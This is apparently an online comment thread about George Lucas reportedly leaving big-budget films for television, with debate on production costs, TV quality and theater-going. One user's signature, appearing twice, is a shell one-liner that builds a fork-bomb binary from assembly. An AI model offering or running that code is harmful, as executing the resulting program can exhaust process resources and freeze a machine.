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George Lucas To Quit Movie Business
CaroKann writes, "Variety is reporting that George Lucas is getting out of the movie business. Mr. Lucas laments that today's big-budget franchise films are too expensive and too risky. He believes American audiences are deserting their movie going habits permanently. Instead of making major films, Lucasfilm will instead focus on television. Lucas states that for the price of one $200 million feature movie, 'I can make 50-60 two hour movies' that are 'pay-per-view and downloadable.' Notably, he does not plan on distributing movies online, calling online distribution a 'rathole.'"
Three movies too late.
Me thinks you were part of the problem, Georgie...how much did the last three of your films cost? Yeah.
Blar.
... a great disturbance in the Force, as if millions of sequels cried out in terror and were suddenly silenced.
Oh no... it's the future.
I think a general move away from Movies to TV Series's is a Good Thing. Don't get me wrong, I still think some stories will always work well when told over ~2 hours but think about The Lord of The Rings, for example. Could that have worked better as 13 1 hour episodes (on dvd, sans adverts!) or even 24 1 hour episodes? giving the viewer the opportunity to skip the (Two Towers Extended Edition equivalent) Faramir ep entirely if they like, allowing the director and producers the chance to span the three books better and such like. I probably think so, note I'm not talking traditional TV Series here, there would never ever be a LOTR season 2, for example, but so long as the production values (and therefore costs) were suitably high i see no reason why The Hobbit couldnt come out, not as a 3 hour film, but as a 6 part miniseries ... so long as the "marathon" option is available on the $NextGen DVD release for the nutters amongst us (myself included)
If you don't risk failure you don't risk success.
'I can make 50-60 two hour movies' that are 'pay-per-view and downloadable.'
But...
Notably, he does not plan on distributing movies online, calling online distribution a 'rathole.'"
I haven't been more confused since, well, about five minutes into Episode 1.
Once you've spent $100 million on a movie... ...what exactly do you get for the SECOND $100 million you spend?
An actor that likes to jump around on the furniture?
is truly inflammatory. It is horribly taken out of context, which makes you wonder if the submitter works for mainstream media because they love taking things out of context. The quote goes: We're trying to find out exactly where the monetization is coming from. We're not interested in jumping down a rat hole until such time as it finally figures itself out.
He is saying, "We do not want to rush into this and have the method we chose to enter the online realm explode on us." Online movie distribution is in its infancy. We have already seen the Wal-Mart/iTunes debacle. He is simply making a methaphorical statement to describe that they are being cautious, but he does not openly say, "Online distribution is a stupid."
So, this one again proves that you must always RTFA.
"Some days you just can't get rid of a bomb."
I dunno, Howard the Duck had better acting from Lea Thompson and Jeffrey Jones than anything in Episode 1-3.
Search your feelings. You know it to be true.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
think this joke needs to be retired.
My wife made an excellent observation the other day. Anyone else notice that TV shows seem to be far better than the movies that have come out recently? Last year, ABC's Lost and Desperate Housewives dazzled many viewers (ourselves included). This year, I've been really impressed by NBC's Heroes and Studio 60 on the Sunset Strip. The writing has been quite good, although some may argue that it does degrade over time. Not to mention lots of the great shows on HBO, Showtime, and some of the excellent comedies that have come and gone (Arrested Development comes to mind). And keep in mind that most of these are original shows. TV is in a far better situation than it used to be just a few years ago, when everything had to be a "reality TV show".
This is in comparison to movies, where it seems like everything is a sequel nowadays, or some book->movie or TV->movie or game->movie port.
-- jchenx
However, it's pretty clear that Hollywood is getting into a self-destructive cycle. Bigger movies, worse scripts, and ever-dropping returns due to too many OTHER forms of entertainment competing for your dollar. Yes, the SW Prequels and the Matrices and LOTR all made money... but in the past 7 years, how many summer mega-movies have bombed terribly? It's a much higher number, and most of them titles we don't even remember a couple years later.
What he's advocating IS the rational move. And if he can get a few more high-profile directors to join him, he could make a real difference in the industry. (again)
And it'd be terribly ironic (and Campbellian) that the man who basically invented the summer blockbuster would be the same man to end its death throws.
Bush: He's Liberal in all the wrong ways.
More explosions, mostly.
Explosions are really, really expensive. A film crew is the size of a mid-sized company. Sit through the credits some time, and see the names of the script girl and the second second assistant director and the backup plasterer. Each camera takes several people (camera operator, loader, focus puller, and sometimes more), and for an explosion you're going to have to catch it from several angles because otherwise all that work ends up as only a fraction of a second of screen time. They call cost money, not just in salary but in insurance, craft service, studio rental, the rental of the camera equipment they're holding, etc.
And every single one of them is sitting around while the explosives rigger is making 200% certain that none of them get hurt when the explosion goes off. And another 200% certain that the explosion is going to do the right thing the first time, because otherwise you'll have to start from scratch.
It's literally tens of thousands of dollars to make even something simple blow up. If you want something big to blow up, it'll cost you a few hundred thousand. Add a few dozen explosions into the movie, and suddenly you're talking about real money.
If they're on location, they have to have bathrooms, and hauling a porta-john into the desert isn't cheap, either. It's not any one thing that makes it pricey. It's eight million little things.
Plus the eight million little things that go into the digital effects (light matching, wire frame artists, shading artists, data center ops, plus a studio to put them all in, usually close to the studio which means the high-rent district).
Why bother? If you don't do all of that, your movie comes off looking cheap. Scrimp on the continuity girl, and the lack of continuity becomes glaring to the audience. It works for indie movies, which the audience expects to look cheap, but your summer blockbuster is going to look corny, and audiences won't enjoy it if it looks corny.
Lucas figures that the small screen is cheaper. The low resolution means that makeup that used to take two hours now takes only half an hour. Sets are built to a far lower level of detail; even where the audience can see the difference [e.g. Firefly vs. Serenity] you have lower expectations. (It used to be that you could save money shooting with three cameras rather than one, which means you can do in one take what used to take three, but these days quality dramas are usually shot movie-style with just one camera.)
It can all be done cheaper than it is. As in any organization a lot of money goes to waste between the cracks. Better organization means less wasted time and unnecessary equipment, but it's like at your office: you have a spare printer or ethernet cable sitting around not doing anything. It cost money to buy, but if you need it you'll be glad you have it, especially if the lack of it drives the entire company to a standstill. When those resources are people, though, it gets pricey fast.
Hollywood needs to wake up. Yes, people are losing interest in movies for a long list of reasons.
1) Expensive. Not just the ticket cost, but the cost of food is unbearable now.
2) Less on story, more on special effects. Don't get me wrong, I really love special effects. But, there are a ton of movies with nothing BUT special effects, the plot is just trash.
3) Cell phones in movies really drive me nuts.
4) People who won't STFU in movies are worse. I can't tell you the last time I went to a movie and DIDN'T have some jack off yelling, laughing with his friends, standing up, etc. The movie theaters don't do jack about it these days also.
5) I am not amused about going to a movie, and hainvg to sit through 2 coke commericals, 4 car commericals, 2 fandago commericals, 1 about the snack bar, 1 about not using your cell, 2 commericals about the internet being evil and then, we finally get to the previews. The previews are my favorite part of the movie experience. Now, I am so annoyed by this point I can't even enjoy them.
6) Movie studios are tossing out good movies, and replacing it with quick easy to make movies that can line their pockets with quick green cash.
7) The bathrooms are like the bathrooms in Grand Central station. You don't wanna use them.
Looking at all the above, I can very well see why people want to download movies (legal or illegal). Personally, I would rather wait till I can buy the DVD, or download it from iTunes or what not. I have a very extensive DVD collection of well over 500 DVDs. In the past 5 years, I think I have seen 8 movies in the theater vs the few hundred DVDs I have purchased.
Hollywood now reminds me of what the postoffice was crying about when E-Mail first started to become popular. Then will learn to adapt, or be crushed and put out of business along the way.
Ok, so now that that is out of the way. On to George Lucas quiting the movie business. Good, its time. I enjoyed the last Star Wars, he should leave now while he made a good movie. If he tries to stay around, things will go down hill very fast. Steven Spielberg is a good example of this, that bastard should have quit a long time ago. His movies now are trash.
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I do partly wonder if George will find that producing for HDTV is more expensive than he expects. I know that TV news shows had to chuck their old sets and build new ones when they went to HDTV, and the network anchors spend more time in makeup chairs than they used to.
Still, Lucas is right that TV is cheaper to produce than movies. It is astonishing that even an expensive show like Lost runs only $3-5 million per episode, even though it's 1/2 to 1/3 the length of a full movie. Some of the difference is set-up costs, but even the pilot, where they had to put out all of the one-time costs, cost a measley $10 million, and that was full of fancy effects and explosions.
Most Lost episodes are only that expensive because they involve location shooting in Hawaii, which is expensive, and it's done to keep the location secret, which makes it more expensive. They do most of the back-story and interiors in LA, and they end up flying people back and forth. It's amazing that they can do that. But they make up for it with clever management: they're shooting several episodes in parallel, and they don't fly people back and forth to Hawaii every single week.
It takes less than two weeks to shoot primary photography on an episode of Lost, compared to 30 to as much as 60 days for a movie. It's not really that there are fewer takes, although there sometimes are, but it takes so much less time to get each take ready. Standing around a set waiting for the light guys to remove every single damn shadow is incredibly tedious. (People rarely wear hats on TV because it's hard to light your face properly. They even forbid certain hair styles in TV shows; a movie director expects more flexibility.) And God forbid you should have to do it outside, where the lights look completely different at 2 PM as at 6 PM, even with the supplemental light. Audiences notice that in movies when they don't on TV.
The effects are cheaper on TV. The resolution is higher on HDTV than on NTSC, but it's still lower than full movie resolution. The actual pixel content may not be much higher, but the color reproduction on film is better, and it would take many pixels to compensate for that. The better the final picture, the more time it takes to make it look realistic: you have to have an artist shade every single pixel, or it ends up looking like the Babylon 5 effects. (Miniatures are easier, but not as flexible.)
What effects they do shoot on Lost would look cheesy on a movie screen. Audiences wouldn't pay $10 a seat for them. They expect more from a movie. Even where they do have good effects, you're often seeing less than you think you are. A movie is expected to be a big-budget affair, and producers say "yes" to a movie when they'd say "work around it" to the same request for a TV show.
That'll save Lucas a lot of money, and arguably we'll get better work. The man DOES know how to tell a good story, when he doesn't let the effects take up his whole life. Sometimes less is more, and the work-arounds make for better drama.
Your faith in George Lucas is your greatest weakness. He has long served the Dark Side. Look at your lunchboxes and action figures. Are they the work of a master filmaker? Don't you feel the hate swelling inside you?
I see you looking the the Episode I-VI: Special Edition Anamorphic DVD Edition in the limited edition Jar Jar binks shaped titanium collectors box on Amazon. Take out your Return of the Jedi credit card and buy it!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;